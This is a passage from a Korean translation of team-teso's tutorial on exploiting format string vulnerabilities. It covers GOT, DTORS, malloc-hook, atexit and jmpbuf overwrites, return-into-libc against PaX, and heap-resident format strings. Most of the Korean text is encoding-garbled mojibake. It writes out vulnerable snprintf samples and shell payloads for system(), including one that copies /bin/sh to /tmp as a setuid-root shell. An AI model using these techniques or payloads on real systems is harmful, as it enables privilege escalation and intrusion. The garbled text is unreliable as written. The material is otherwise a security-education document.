ÀÖ´Ù. ¸¸¾à ±× ÇÔ¼ö°¡ ÇÁ·Î±×·¥¿¡ ÀÇÇØ È£ÃâµÇ¸é ÅëÁ¦±ÇÀÌ rtl·Î °Ç³Ê°¡°í, ÇÔ¼öÀÇ ½ÇÁ¦ ÁÖ¼Ò°¡ °áÁ¤µÇ¾î GOT¾ÈÀ¸·Î »ðÀԵȴÙ. ±× ÇÔ¼ö¿¡ ´ëÇÑ ¸ðµç È£ÃâÀº Á÷Á¢ÀûÀ¸·Î ±×°Í¿¡ ÅëÁ¦±ÇÀ» ³Ñ±â°í, rtlÀº ÀÌ ÇÔ¼ö¸¦ À§ÇØ ´õ ÀÌ»ó È£ÃâµÇÁö ¾Ê´Â´Ù. GOTÀ» ÅëÇÑ °ø°Ý¿¡ ´ëÇØ ´õ ÀÚ¼¼ÇÑ ¼³¸íÀº Lam3rZ brothersÀÇ ±ÛÀ» Âü°íÇØ¶ó. Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ÀÌ °ø°ÝµÈ ÈÄ ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÒ ¾î¶² ÇÔ¼ö¿¡ ´ëÇØ GOT ¿£Æ®¸®¸¦ µ¤¾î¾¸À¸·Î½á ¿ì¸®´Â ÅëÁ¦±ÇÀ» Àå¾ÇÇÒ ¼ö ÀÖ°í, ¾î¶² ½ÇÇà °¡´ÉÇÑ ÁÖ¼Ò·Î jumpÇÒ ¼ö ÀÖ´Ù. À̰ÍÀº ºÒÇàÇϰԵµ ¸®ÅÏ ÁÖ¼Ò¿¡ È®ÀÎÀ» ¼öÇàÇÏ´Â ¾î¶² ½ºÅà ±â¹ÝÀÇ º¸È£°¡ ½ÇÆÐÇÒ °ÍÀ̶ó´Â °ÍÀ» ÀǹÌÇÑ´Ù. ¿ì¸®°¡ GOT ¿£Æ®¸®¸¦ µ¤¾î¾²´Â °ÍÀ¸·ÎºÎÅÍ È¹µæÇÒ ¼ö ÀÖ´Â ÀåÁ¡Àº ½ºÅðú °°Àº ȯ°æº¯¼ö¿Í µ¿Àû ¸Þ¸ð¸® ÇÒ´ç(heap)°ú µ¶¸³µÇ¾î ÀÖ´Ù´Â °ÍÀÌ´Ù. ¾î¶² GOT ¿£Æ®¸®ÀÇ ÁÖ¼Ò´Â ´ÜÁö ¹ÙÀ̳ʸ®¸¶´Ù °íÁ¤µÇ¾î ÀÖ°í, ±×·¡¼­ ¸¸¾à µÎ ½Ã½ºÅÛÀÌ °°Àº ¹ÙÀ̳ʸ®¸¦ °¡Áö°í ÀÖ´Ù¸é GOT ¿£Å͸®´Â Ç×»ó °°Àº ÁÖ¼Ò¿¡ ÀÖ´Ù. ¾î¶² ÇÔ¼ö¿¡ ´ëÇÑ GOT ¿£Æ®¸®´Â ´ÙÀ½À» ½ÇÇà½ÃÄÑ ¾Ë ¼ö ÀÖ´Ù. objdump --dynamic-reloc binary ½ÇÁ¦ ÇÔ¼ö ¶Ç´Â rtl ¸µÅ© ÇÔ¼öÀÇ ÁÖ¼Ò´Â ÇÁ¸°ÅÍµÈ ÁÖ¼Ò¿¡ Á÷Á¢ÀûÀ¸·Î ÀÖ´Ù. ¸®ÅÏ ÁÖ¼Ò ´ë½Å ÅëÁ¦±ÇÀ» Àâ±â À§ÇØ GOT ¿£Æ®¸®¸¦ »ç¿ëÇÏ´Â °ÍÀÇ ´Ù¸¥ ÇÑ Áß¿äÇÑ ¿ä¼Ò´Â ¸î¸î ¾ÈÀüÇÑ finger µ¥¸ó¿¡¼­ ¹ß°ßµÇ´Â ÆûÀÇ ÄÚµåÀÌ´Ù. syslog (LOG_NOTICE, user); exit (EXIT_FAILURE); ¿©±â¼­ ¿ì¸®´Â ¸®ÅÏ ÁÖ¼Ò¸¦ µ¤¾î¾¸À¸·Î½á ÅëÁ¦±ÇÀ» Àå¾ÇÇÒ ¼ö ¾ø´Ù. syslog ÀÚüÀÇ ¸®ÅÏ ÁÖ¼Ò¸¦ µ¤¾î¾²´Â °ÍÀ» ½Ãµµ´Â ÇÒ ¼ö ÀÖÁö¸¸ ´õ ½Å·ÚÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀº ¡®exit' ÇÔ¼öÀÇ GOT ¿£Æ®¸®¸¦ µ¤¾î¾²´Â °ÍÀ̸ç, ±×°ÍÀº 'exit'°¡ È£ÃâµÇÀÚ¸¶ÀÚ ¿ì¸®°¡ ÁöÁ¤ÇÑ ÁÖ¼Ò¿¡ ½ÇÇà±ÇÇÑÀ» °Ç³×ÁÙ °ÍÀÌ´Ù. ÇÏÁö¸¸ GOT Å×Å©´ÐÀÇ °¡Àå À¯¿ëÇÑ ÀåÁ¡Àº »ç¿ëÇϱ⠽±´Ù´Â °ÍÀÌ´Ù. Áï, objdump¸¦ ½ÇÇàÇÏ¸é µ¤¾î¾µ ÁÖ¼Ò(retloc)¸¦ ¾Ë ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. 6.1.2 DTORS GNU C ÄÄÆÄÀÏ·¯·Î ÄÄÆÄÀÏµÈ ¹ÙÀ̳ʸ®´Â DTORS¶ó°í ºÒ¸®´Â Ưº°ÇÑ destructor table sectionÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. ¿©±â¼­ ¿­°ÅµÈ destructorµéÀº ½ÇÁ¦ ¡®exit' ½Ã½ºÅÛ È£ÃâÀÌ ³ª¿À±â ¹Ù·Î Á÷Àü°ú ¸ðµç ÀÏ¹Ý Å¬¸°¾÷ ÀÛ¾÷ÀÌ ÀÌ·ç¾îÁø ÀÌÈÄ¿¡ È£ÃâµÈ´Ù. DTORS ¼½¼ÇÀº ´ÙÀ½°ú °°Àº Æ÷¸ËÀ¸·Î µÇ¾î ÀÖ´Ù. DTORS: 0xffffffff 0x00000000 ... ¿©±â¼­ ù ¹øÂ° ¿£Æ®¸®´Â ÇÔ¼ö Æ÷ÀÎÅÍÀÇ ¹øÈ£¸¦ °¡Áö°í ÀÖ´Â Ä«¿îÅÍÀÌ´Ù. DTORS ¼¾¼ÇÀÇ ¸ðµç ±¸Çö¿¡¼­ ÀÌ Çʵå´Â ¹«½ÃµÈ´Ù. ±× ´ÙÀ½Àº relative offset +4¿¡´Â NULL ÁÖ¼Ò¿¡ ÀÇÇØ Á¾°áµÇ´Â Ŭ¸°¾÷ ÇÔ¼öÀÇ ÁÖ¼Ò°¡ ÀÖ´Ù. ¿ì¸®´Â ÀÌ NULL Æ÷ÀÎÅ͸¦ ¿ì¸®ÀÇ ½©Äڵ忡 Æ÷ÀÎÅÍ·Î µ¤¾î¾µ ¼ö ÀÖÀ¸¸ç, ¿ì¸®ÀÇ ÄÚµå´Â ÇÁ·Î±×·¥ÀÌ exitÇÒ ¶§¸¶´Ù ½ÇÇàµÉ °ÍÀÌ´Ù. ÀÌ Å×Å©´Ð¿¡ ´ëÇÑ ´õ ÀÚ¼¼ÇÑ ¼Ò°³´Â Juan M. Bello Rivas, "Overwriting the .dtors section"¿¡¼­ ãÀ» ¼ö ÀÖ´Ù. 6.1.3 C ¶óÀ̺귯¸® hook ¸î ´Þ Àü¿¡ Solar Designer°¡ malloc-ÇÒ´ç ¸Þ¸ð¸®¿¡¼­ Èü ±â¹ÝÀÇ ¿À¹öÇ÷ο츦 °ø°ÝÇϱâ À§ÇÑ »õ·Î¿î Å×Å©´ÐÀ» ¼Ò°³Çß´Ù. Solar Designer´Â GNU C Library¿¡ Á¸ÀçÇÏ´Â hook¸¦ µ¤¾î¾²´Â °ÍÀ» Á¦¾ÈÇß´Ù. º¸Åë ÀÌ hook´Â malloc ÀÎÅÍÆäÀ̽º¸¦ »ç¿ëÇÏ¿© ¾îÇø®ÄÉÀ̼ÇÀÌ ¸Þ¸ð¸®¸¦ ÇÒ´ç¹Þ°Å³ª ¸Þ¸ð¸®¸¦ ºñ¿ï ¶§¸¶´Ù À̰ÍÀ» ¸ñ°ÝÇϱâ À§ÇØ ¸Þ¸ð¸® µð¹ö±ëÀ̳ª ÇÁ·ÎÆÄÀϸµ Åø¿¡ ÀÇÇØ »ç¿ëµÈ´Ù. ¸î °¡Áö hook°¡ ÀÖÁö¸¸ °¡Àå ÀϹÝÀûÀÎ °ÍÀº __malloc_hook, __realloc_hook, ±×¸®°í __free_hookÀÌ´Ù. º¸Åë NULL·Î ÁöÁ¤µÇÁö¸¸ ¿ì¸®°¡ ÀÛ¼ºÇÑ Äڵ忡 ´ëÇÑ Æ÷ÀÎÅÍ·Î ±×°ÍµéÀ» µ¤¾î¾²ÀÚ¸¶ÀÚ ¿ì¸®ÀÇ ÄÚµå´Â malloc, realloc, ±×¸®°í free°¡ È£ÃâµÉ ¶§ ½ÇÇàµÉ °ÍÀÌ´Ù. À̰ÍÀº hookµéÀÌ ½ÇÁ¦ ÇÔ¼ö°¡ ½ÇÇàµÇ±â Àü¿¡ È£ÃâµÉ ¶§ µð¹ö±× hook·Î »ç¿ëµÇ±â ¶§¹®ÀÌ´Ù. malloc-µ¤¾î¾²±â Å×Å©´Ð¿¡ ´ëÇÑ Åä·ÐÀº Solar Designer, "JPEG COM Marker Processing Vulnerability in Netscape Browsers, advisory demonstrating malloc management information overwrite", http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt¿¡ ³ª¿Í ÀÖ´Ù. 6.1.4 atexit ±¸Á¶Ã¼ ¸î ´Þ Àü¿¡, Kalou´Â ¸®´ª½º ȯ°æ¿¡¼­ Á¤ÀûÀ¸·Î ¸µÅ©µÈ ¹ÙÀ̳ʸ®¸¦ °ø°ÝÇÏ´Â ¹æ¹ýÀ» ¼Ò°³Çߴµ¥, ±×°ÍÀº __atexit¶ó°í ºÒ¸®´Â generic handler¸¦ ÀÌ¿ëÇÏ´Â °ÍÀ̸ç, ±×°ÍÀº ¿ì¸®ÀÇ ÇÁ·Î±×·¥ÀÌ exit¸¦ È£ÃâÇÏÀÚ¸¶ÀÚ ½ÇÇàµÇ´Â °ÍÀÌ´Ù. À̰ÍÀº ¾î¶² ÇÁ·Î±×·¥ÀÌ ÀÚ¿øÀ» ³»³õ±â À§ÇØ exitÇÒ ¶§ È£ÃâµÉ ¸¹Àº handler¸¦ ¼¼¾÷ÇÏ´Â °ÍÀ» Çã¿ëÇÑ´Ù. atexit ±¸Á¶Ã¼¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ³»¿ëÀº Pascal Bouchareine, "__atexit in memory bugs: proof of concept"¿¡¼­ ãÀ» ¼ö ÀÖ´Ù. 6.1.5 ÇÔ¼ö Æ÷ÀÎÅÍ ¸¸¾à °ø°ÝÇÒ ¾îÇø®ÄÉÀ̼ÇÀÌ ÇÔ¼ö Æ÷ÀÎÅ͸¦ »ç¿ëÇÑ´Ù¸é À̰ÍÀ» µ¤¾î¾µ ±âȸ°¡ ÀÖ´Ù. ÇÔ¼ö Æ÷ÀÎÅ͸¦ »ç¿ëÇϱâ À§ÇØ ±×°ÍÀ» µ¤¾î½á¾ßÇϰí, ±× ´ÙÀ½ ±×°ÍµéÀ» ½ÃÀÛÇØ¾ß ÇÑ´Ù. QPOP°ú °°ÀÌ ¾î¶² µ¥¸óµéÀº ¸í·É 󸮸¦ À§ÇØ ÇÔ¼ö Æ÷ÀÎÅÍ Å×À̺íÀ» »ç¿ëÇÑ´Ù. ¶ÇÇÑ ÇÔ¼ö Æ÷ÀÎÅ͵éÀº SSHd¿¡¼­Ã³·³ atexit°°Àº handler¸¦ ½Ã¹Ä·¹ÀÌÆ®Çϱâ À§ÇØ Á¾Á¾ »ç¿ëµÈ´Ù. 6.1.6 jmpbuf's ÃÖÃÊÀÇ jmpbuf µ¤¾î¾²±â Å×Å©´ÐÀº heap ÀúÀå ¹öÆÛ¸¦ °ø°ÝÇϱâ À§ÇØ »ç¿ëµÇ¾ú´Ù. Æ÷¸Ë ½ºÆ®¸µÀÇ °æ¿ì jmpbuf's´Â ¸¶Ä¡ ÇÔ¼ö Æ÷ÀÎÅÍó·³ ÇൿÇÑ´Ù. ¿Ö³ÄÇÏ¸é ¿ì¸®´Â ¿ì¸®ÀÇ ¹öÆÛ¿¡ jmpbufÀÇ »ó´ëÀû À§Ä¡¿¡ ÀÇÇØ Á¦ÇѹÞÁö ¾Ê°í ¸Þ¸ð¸®ÀÇ ¾î´À °÷¿¡¶óµµ ¾µ ¼ö ÀÖ´Ù. À̰Ϳ¡ ´ëÇÑ ÀÚ¼¼ÇÑ ³»¿ëÀº Matt Conover aka Shok,"w00w00 on Heap Over ows", http://www.w00w00.org/files/articles/heaptut.txt¸¦ Âü°íÇØ¶ó. **************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 6.2 return-into-LibC Solar Designer¿¡ ÀÇÇØ¼­ °³Ã´µÈ return-into-LibC Å×Å©´Ð(Solar Designer, post to Bugtraq mailing list demonstrating return into libc, Bugtraq Archives 1997 August 10) À» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. ÇÏÁö¸¸ ´õ ½¬¿î °ø°ÝÀÌ °¡´ÉÇÑ Áö¸§±æµµ ÀÖÀ» ¼ö ÀÖ´Ù. FILE * f; char foobuf[512]; snprintf (foobuf, sizeof (foobuf), user); foobuf[sizeof (foobuf) - 1] = \0 ; f = fopen (foobuf, "r"); ¿ì¸®´Â 'system' ÇÔ¼öÀÇ ÁÖ¼Ò·Î 'fopen'ÀÇ GOT ÁÖ¼Ò¸¦ µ¤¾î¾µ ¼ö ÀÖ´Ù. ±×·± ÈÄ ´ÙÀ½°ú °°Àº Æ÷¸Ë ½ºÆ®¸µÀ» »ç¿ëÇØº¸ÀÚ. "cd /tmp;cp /bin/sh .;chmod 4777 sh;exit;" "addresses|stackpop|write" ¿©±â¼­´Â 'addresses', 'stackpop' ±×¸®°í 'write'°¡ ÀϹÝÀûÀÎ Æ÷¸Ë ½ºÆ®¸µ °ø°Ý ½ÃÄý½ÃÀÌ´Ù. À̰͵éÀº 'system' ÁÖ¼Ò¿Í ´õºÒ¾î 'fopen'ÀÇ GOT Ç׸ñÀ» µ¤¾î¾²±â À§ÇØ »ç¿ëµÈ´Ù. 'fopen'ÀÌ È£ÃâµÉ ¶§ ½ºÆ®¸µÀº 'system' ÇÔ¼ö·Î Àü´ÞµÈ´Ù. ¼±ÅÃÀûÀ¸·Î ¾Æ·¡¿¡¼­ ±â¼úµÇ¾î ÀÖ´Â °Íó·³ ÀϹÝÀûÀÎ ±¸½Ä ¹æ¹ýÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. 6.3 Multiple Print ¸¸¾à Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡À» °°Àº ÇÁ·Î¼¼½º(wu-ftpd¿¡¼­Ã³·³) ³»¿¡ ¿©·¯ ¹ø °ø·«ÇÑ´Ù¸é ¸®ÅÏ ¾îµå·¹½º¸¦ ´õ ¸¹ÀÌ µ¤¾î¾µ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î, ¾î¶² ½ÇÇà°¡´ÉÇÏÁö ¾ÊÀº ½ºÅà º¸È£¸¦ ¿ìȸÇϱâ À§ÇØ heap »ó¿¡ Àüü ½©Äڵ带 ÀúÀåÇÒ ¼ö ÀÖ´Ù. ÀÌ ¹®¼­¿¡¼­ ¼³¸íµÈ ´Ù¸¥ Å×Å©´Ð°ú ¸¶Âù°¡Áö·Î ´ÙÀ½ º¸È£ ½Ã½ºÅÛÀ» ¿ìȸÇÒ ¼ö ÀÖ´Ù. ¹°·Ð ¿Ïº®ÇÑ °ÍÀº ¾Æ´ÏÁö¸¸.... * StackGuard * StackShield * Openwall Ä¿³Î ÆÐÄ¡(by Solar Designer) * libsafe 2000³â 9¿ù Áß¼øÂë ¾î¶² ±×·ì »ç¶÷µéÀÌ PaX(PaX group,"Implementing non executeable rw pages on the x86", http://pageexec.virtualave.net/)¶ó°í ¾Ë·ÁÁø ÀÏ·ÃÀÇ ¸®´ª½º Ä¿³Î ÆÐÄ¡¸¦ ¹ßÇ¥Çß´Ù. À̰ÍÀº Àаí, ¾µ ¼ö ÀÖÁö¸¸ ½ÇÇàÇÒ ¼ö ¾ø´Â ÆäÀÌÁö¸¦ ±¸ÇöÇÏ´Â °ÍÀ» È¿À²ÀûÀ¸·Î Çã¿ëÇÑ´Ù. x86 CPU ½Ã¸®Áî¿¡¼­ À̰ÍÀ» °íÀ¯ÇÏ°Ô ÇÏ´Â °ÍÀº ºÒ°¡´ÉÇϱ⠶§¹®¿¡ ÀÌ ÆÐÄ¡´Â Plex CPU ¿¡¹Ä·¹ÀÌÆ® ÇÁ·ÎÁ§Æ®¿¡ ÀÇÇØ ¹ß°ßµÈ ¸î °¡Áö Æ®¸¯À» »ç¿ëÇÑ´Ù. ÀÌ ÆÐÄ¡°¡ ½ÇÇàµÇ´Â ½Ã½ºÅÛ¿¡¼­´Â ÇÁ·Î¼¼½º¿¡ µµÀÔÇÑ ÀÓÀÇÀÇ ½©Äڵ带 ½ÇÇàÇÏ´Â °ÍÀÌ ºÒ°¡´ÉÇÏ´Ù. ÇÏÁö¸¸ ´ëºÎºÐÀÇ °æ¿ì ÇÁ·Î¼¼½º °ø°£ ±× ÀÚü ³»¿¡ ÀÌ¹Ì À¯¿ëÇÑ Äڵ尡 ÀÖ´Ù. ¿ì¸®´Â ½©Äڵ忡 ¿ì¸®°¡ º¸Åë ÇÏ´Â ÀÏÀ» Çϱâ À§ÇØ ÀÌ Äڵ带 ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ÀϹÝÀûÀÎ Return-into-LibC Å×Å©´ÐÀ» »ç¿ëÇÏ¿© ÀÌ ¹æ¾îº®À» ¿ìȸÇÒ ¼ö ÀÖ´Ù. °¡Àå °£´ÜÇÑ °æ¿ì°¡ ÆÄ¶ó¹ÌÅÍ·Î Æ÷¸Ë ½ºÆ®¸µÀ» »ç¿ëÇÏ¿© system() ¶óÀ̺귯¸® ÇÔ¼ö·Î ¸®ÅÏÇÏ´Â °ÍÀÌ´Ù. ±× ½ºÆ®¸µÀ» ÃÖ´ëÇÑ È°¿ëÇϱâ À§ÇØ system() ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ¾Ë±â À§ÇØ °­Á¦·Î offsetÀ» ÁÙÀÏ ¼ö ÀÖ´Ù. ¾î¶² ÇÁ·Î±×·¥À» È£ÃâÇϱâ À§ÇØ ¿ì¸®°¡ »ç¿ëÇÏ´Â Æ÷¸Ë ½ºÆ®¸µÀÇ ³¡¿¡ ´ÙÀ½ ½ÃÄý½Ã¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id > /tmp/owned;exit;" ';' ¹®ÀÚ¸¦ °¡¸®Å°°í Àְųª system() ÇÔ¼ö·Î Àü´ÞµÈ ¾î¶² ÁÖ¼Ò´Â ÀÌ ¸í·ÉÀ» ¼öÇàÇÒ °ÍÀÌ´Ù. ¿Ö³ÄÇϸé ';' ¹®ÀÚ´Â ½©¿¡ 'nop' ¸í·ÉÀ» ½ÇÇàÇϱ⠶§¹®ÀÌ´Ù. 6.4 Heap ³»ÀÇ Æ÷¸Ë ½ºÆ®¸µ Áö±Ý±îÁö ¿ì¸®´Â Æ÷¸Ë ½ºÆ®¸µÀÌ Ç×»ó ½ºÅà »ó¿¡ ÀÖ´Ù°í °¡Á¤ÇؿԴÙ. ÇÏÁö¸¸ heap¿¡ ÀúÀåµÇ¾î ÀÖ´Â °æ¿ìµéµµ ÀÖ´Ù. ¸¸¾à ½ºÅÃ»ó¿¡ ¿µÇâÀ» ÁÙ ¼ö ÀÖ´Â ´Ù¸¥ ÇϳªÀÇ ¹öÆÛ°¡ ÀÖ´Ù¸é ±×°Í¿¡ ¾²±â À§ÇÑ ÁÖ¼Ò¸¦ °ø±ÞÇϱâ À§ÇØ ±×°ÍÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ¸¸¾à ±×¿Í °°Àº ¹öÆÛ°¡ ¾ø´Ù¸é ¼±ÅÃÀÇ ¿©Áö´Â °ÅÀÇ ³²¾Æ ÀÖÁö ¾Ê´Ù. ¸¸¾à Ÿ±ê ¹öÆÛ°¡ ½ºÅà »ó¿¡ ³õ¿© ÀÖ´Ù¸é ¿ì¸®´Â ¸ÕÀú ±×°Í¿¡ printÇϰí, ±×·± ´ÙÀ½ '%n' ÆÄ¶ó¹ÌÅ͸¦ ÀÌ¿ëÇØ¼­ ¾²±â À§ÇØ ±×°÷¿¡¼­ºÎÅÍ ±× ÁÖ¼ÒµéÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. void func (char *user_at_heap) { char outbuf[512]; snprintf (outbut, sizeof (outbuf), user_at_heap); outbuf[sizeof (outbuf) - 1] = \0 ; return; } ¿©±â¼­ ¿ì¸®´Â º¸Åë ¶§Ã³·³ ¿ì¸®°¡ ¾²±â¸¦ ¿øÇÏ´Â ÁÖ¼Ò¸¦ Æ÷ÇÔÇÑ Æ÷¸Ë ½ºÆ®¸µÀ» »ç¿ëÇß´Ù. ÇÏÁö¸¸ Ưº°ÇÑ °ÍÀº Æ÷¸Ë ½ºÆ®¸µ ±× ÀÚü·ÎºÎÅÍ ±× ÁÖ¼Ò¿¡ Á¢±ÙÇÏÁö ¾Ê°í Ÿ±ê ¹öÆÛ·ÎºÎÅÍ Á¢±ÙÇß´Ù´Â °ÍÀÌ´Ù. ÀÌ·¸°Ô Çϱâ À§ÇØ °£´ÜÈ÷ ±× ÁÖ¼ÒµéÀ» ÇÁ¸°ÆÃ ÇÔÀ¸·Î½á ½ºÅûóÀÇ ÁÖ¼Ò¸¦ ¸ÕÀú ÀúÀåÇØ¾ß ÇÑ´Ù. ±×·¯¹Ç·Î ¾²±â ½ÃÄö½Ã´Â Æ÷¸Ë ½ºÆ®¸µ ³»ÀÇ ÁÖ¼Ò µÚ¿¡ ÀÖ¾î¾ß ÇÑ´Ù. ¸¸¾à ¾ç ¹öÆÛ°¡ ½ºÅà ³»¿¡ ³õ¿©ÀÖÁö ¾Ê´Ù¸é ¿ì¸®´Â ÇѰ¡Áö ¹®Á¦¸¦ °¡Áö°Ô µÈ´Ù. void func (char *user_at_heap) { char * outbuf = calloc (1, 512); snprintf (outbut, 512, user_at_heap); outbuf[511] = \0 ; return; } ÀÌÁ¦ ¹®Á¦´Â ¿ì¸®°¡ ½ºÅûóÀÇ µ¥ÀÌÅ͸¦ Á¦°øÇÏ´Â ¸î °¡Áö ¹æ¹ýÀ» °¡Áö°í ÀÖ¾î¾ß Çϴ°¡¿¡ ´Þ·ÁÀÖ´Ù. ¿¹¸¦ µé¾î, wu-ftpd¿ë exploitÀº ÁÖ¼Ò°¡ ¾Æ´Ï¶ó ½©Äڵ忡 µ¥ÀÌÅ͸¦ ÀúÀåÇϱâ À§ÇØ ÆÐ½º¿öµå ÇÊ´õ¸¦ »ç¿ëÇß´Ù.(ÀÌ exploitµéÀº ºñÀÍ¸í °èÁ¤À» °ø°ÝÇÒ ¼ö´Â ¾ø´Ù.) ¸ðµç Ãë¾àÁ¡°ú exploitÀº ´Ù¸£±â ¶§¹®¿¡ °ø°ÝÀÌ °¡´ÉÇÏÁö ¾Ê´Ù°í ¾ð±ÞÇϱâ Àü¿¡ ±× Ãë¾àÁ¡À» °øºÎÇϴµ¥ ¸¹Àº ½Ã°£À» ÅõÀÚÇØ¾ß Çϸç, ±×·± °æ¿ì¿¡µµ À߸øµÈ °æ¿ì°¡ »ý±â±âµµ ÇÑ´Ù. 6.5 Ưº°ÇÑ °í·Á»çÇ× °ø°Ý ±× ÀÚü ¿Ü¿¡µµ °í·ÁÇØ¾ßÇÒ °ÍµéÀÌ ÀÖ´Ù. ¸¸¾à ½© Äڵ尡 Æ÷¸Ë ½ºÆ®¸µ ³»¿¡ Æ÷ÇԵǾî ÀÖ´Ù¸é '\x25' (%) ¶Ç´Â NUL ¹ÙÀÌÆ®¸¦ Æ÷ÇÔÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Ù. ÇÏÁö¸¸ Áß¿äÇÑ ¾î¶² opcodeµµ 0x25 ¶Ç´Â 0x00¿¡ ÀÖÁö ¾Ê±â ¶§¹®¿¡ ½©Äڵ带 ÀÛ¼ºÇÒ ¶§ ¹®Á¦¿¡ ºüÁöÁö´Â ¾ÊÀ» °ÍÀÌ´Ù. ¸¸¾à ÁÖ¼ÒµéÀÌ Æ÷¸Ë ½ºÆ®¸µ¿¡ ÀúÀåµÇ¾î ÀÖ´Ù°í ÇØµµ ¿ª½Ã ¸¶Âù°¡Áö´Ù. ¸¸¾à ¿ì¸®°¡ ¾²±â ¿øÇÏ´Â ÁÖ¼Ò°¡ ÃÖ¼Ò ¹ÙÀÌÆ®·Î NUL ¹ÙÀÌÆ®¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù¸é ±× ¹ÙÀÌÆ®¸¦ ÀúÀåÇϱ⸦ ¿øÇÏ´Â ÁÖ¼Ò ¹Ù·Î ¾Æ·¡ÀÇ ÁÖ¼Ò¿¡ ±×°ÍÀ» short-write·Î ´ëüÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ À̰ÍÀº ¸ðµç ¾ÆÅ°ÅØÃ³¿¡ °¡´ÉÇÑ °ÍÀº ¾Æ´Ï´Ù. ¶ÇÇÑ ¿ì¸®´Â µÎ °³ÀÇ ºÐ¸®µÈ Æ÷¸Ë ½ºÆ®¸µÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ù ¹øÂ°´Â Àüü ½ºÆ®¸µ µÚ¿¡ ÀÖ´Â ¸Þ¸ð¸®¿¡ ¾²±â¸¦ ¿øÇÏ´Â ÁÖ¼Ò¸¦ ¸¸µç´Ù. µÎ ¹øÂ°´Â ±×°ÍÀ» ¾²±â À§ÇØ ÀÌ ÁÖ¼Ò¸¦ ÀÌ¿ëÇÑ´Ù. À̰ÍÀº º¹ÀâÇØÁú ¼ö ÀÖÁö¸¸ ½Å·ÚÇÒ¸¸ÇÑ °ø°ÝÀ» °¡´ÉÇÏ°Ô Çϰí, ¶§·Î´Â ³ë·ÂÇÒ °¡Ä¡°¡ ÀÖ´Ù. **************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 7. Åøµé ÀÏ´Ü °ø°ÝÀÌ ³¡³ª°Å³ª ¶Ç´Â exploitÀ» °³¹ßÇÏ´Â µµÁßÀÌ¶óµµ ÇÊ¿äÇÑ offsetÀ» ÀúÀåÇϱâ À§ÇØ ÅøÀ» »ç¿ëÇÏ´Â °ÍÀº µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ¾î¶² ÅøµéÀº ¼Ò½º°¡ °ø°³µÇ¾î ÀÖÁö ¾ÊÀº ¼Ò½º ¼ÒÇÁÆ®¿þ¾î¿¡ Á¸ÀçÇÏ´Â Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡°ú °°Àº Ãë¾àÁ¡µéÀ» È®ÀÎÇϴµ¥µµ µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ¿©±â¼­ ¾ð±ÞÇÑ ³× °¡Áö ÅøÀº ¾ÆÁÖ ¸¹Àº µµ¿òÀÌ µÉ °ÍÀÌ´Ù. 7.1 ltrace, strace ltrace¿Í strace´Â ºñ½ÁÇÑ ¹æ½ÄÀ¸·Î ÀÛµ¿Çϴµ¥, ÇÁ·Î±×·¥ÀÌ È£ÃâÇÒ ¶§ ±×µéÀÇ ÀÎÀÚ¿Í ¸®ÅϰªÀ» ·Î±ëÇϸ鼭 ¶óÀ̺귯¸®¿Í ½Ã½ºÅÛ È£ÃâÀ» ÈÄÅ©(hook)ÇÑ´Ù. À̰ÍÀº ÇÁ·Î±×·¥ ±× ÀÚü¸¦ ºí·¢ ¹Ú½º·Î °£ÁÖÇϸ鼭 ¾î¶»°Ô ÇÁ·Î±×·¥ÀÌ ½Ã½ºÅÛ°ú »óÈ£ ÀÛ¿ëÇÏ´ÂÁö¸¦ ¿ì¸®°¡ º¼ ¼ö ÀÖµµ·Ï 